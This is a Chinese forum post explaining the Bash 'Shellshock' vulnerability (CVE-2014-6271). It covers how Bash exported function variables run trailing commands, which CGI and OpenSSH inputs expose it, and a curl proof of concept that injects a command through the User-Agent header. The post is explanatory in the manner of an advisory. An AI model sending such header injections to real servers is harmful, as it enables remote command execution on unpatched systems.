UID1
性别保密
注册时间2013-7-10
最后登录1970-1-1
回帖0
在线时间 小时
精华
SB
威望
随币
成长值: 50580
|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
x
<p style="line-height: 24px; text-indent: 0em; text-align: center;"><font color="rgb(102, 102, 102)"><font face="微软雅黑,">
</font></font></p><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px; text-indent: 0em;">最近,BASH爆出来一个远程代码执行的漏洞<strong>CVE-2014-6271。</strong></p><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px; text-indent: 0em;">BASH除了可以将shell变量导出为环境变量,还可以将shell函数导出为环境变量!当前版本的bash通过以函数名作为环境变量名,以“(){”开头的字串作为环境变量的值来将函数定义导出为环境变量。</p><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px; text-indent: 0em;"><strong>此次爆出的漏洞在于BASH处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令! </strong></p><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px; text-indent: 0em;"><strong>例如</strong></p><p style="line-height: 24px; text-indent: nullem; text-align: center;"><font color="rgb(102, 102, 102)"><font face="微软雅黑,">
<br></font></font></p><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px; text-indent: 0em;">目前,接受HTTP命令的CGI Shell脚本是最主要的被攻击对象。一个常见的HTTP请求是这样:</p><pre class="prettyprint lang-html prettyprinted" style="padding: 8px; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); white-space: pre-wrap; word-break: break-all; color: rgb(102, 102, 102); font-size: 13px; line-height: 24px;"><span class="pln" style="color: rgb(72, 72, 76);">GET /path?query-param-name=query-param-value HTTP/1.1
Host: www.example.com
Custom: custom-header-value</span></pre><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;"> CGI标准将http请求的所有部分都映射到了环境变量。例如对于Apache的Httpd,字串(){可以出现在以下这些地方:</p><pre class="prettyprint lang-html prettyprinted" style="padding: 8px; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); white-space: pre-wrap; word-break: break-all; color: rgb(102, 102, 102); font-size: 13px; line-height: 24px;"><span class="pln" style="color: rgb(72, 72, 76);">* Host (“www.example.com”, as REMOTE_HOST)
* Header value (“custom-header-value”, as HTTP_CUSTOM in this example)
* Server protocol (“HTTP/1.1”, as SERVER_PROTOCOL)</span></pre><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">通过自定义这些参数的值为“函数环境变量”的形式,就可以远程执行命令!!!例如:<br></p><pre class="prettyprint lang-bash prettyprinted" style="padding: 8px; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); white-space: pre-wrap; word-break: break-all; color: rgb(102, 102, 102); font-size: 13px; line-height: 24px;"><span class="pln" style="color: rgb(72, 72, 76);">curl </span><span class="pun" style="color: rgb(147, 161, 161);">-</span><span class="pln" style="color: rgb(72, 72, 76);">H </span><span class="typ" style="color: teal;">User</span><span class="pun" style="color: rgb(147, 161, 161);">-</span><span class="typ" style="color: teal;">Agent</span><span class="pun" style="color: rgb(147, 161, 161);">:</span><span class="pln" style="color: rgb(72, 72, 76);"> </span><span class="pun" style="color: rgb(147, 161, 161);">()</span><span class="pln" style="color: rgb(72, 72, 76);"> </span><span class="pun" style="color: rgb(147, 161, 161);">{</span><span class="pln" style="color: rgb(72, 72, 76);"> </span><span class="pun" style="color: rgb(147, 161, 161);">:;};</span><span class="pln" style="color: rgb(72, 72, 76);"> echo fuck you</span><span class="pun" style="color: rgb(147, 161, 161);">!</span><span class="pln" style="color: rgb(72, 72, 76);">
http</span><span class="pun" style="color: rgb(147, 161, 161);">://</span><span class="pln" style="color: rgb(72, 72, 76);">xxxxx</span><span class="pun" style="color: rgb(147, 161, 161);">/</span><span class="pln" style="color: rgb(72, 72, 76);">victim</span><span class="pun" style="color: rgb(147, 161, 161);">.</span><span class="pln" style="color: rgb(72, 72, 76);">sh</span></pre><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">此外,OpenSSH也因其AcceptEnv、TERM、SSH_ORIGINAL_COMMAND等环境变量受此漏洞影响。目前还有更多的受影响程序和利用方式正在不断地被发掘出来!</p><p style="line-height: 24px; text-indent: nullem; text-align: left;"><font color="rgb(102, 102, 102)"><font face="微软雅黑,"><b>参考信息来源<font color="#238357"><a href="http://seclists.org/oss-sec/2014/q3/649" target="_blank">http://seclists.org/oss-sec/2014/q3/649</a></font></b></font></font></p><br> |
|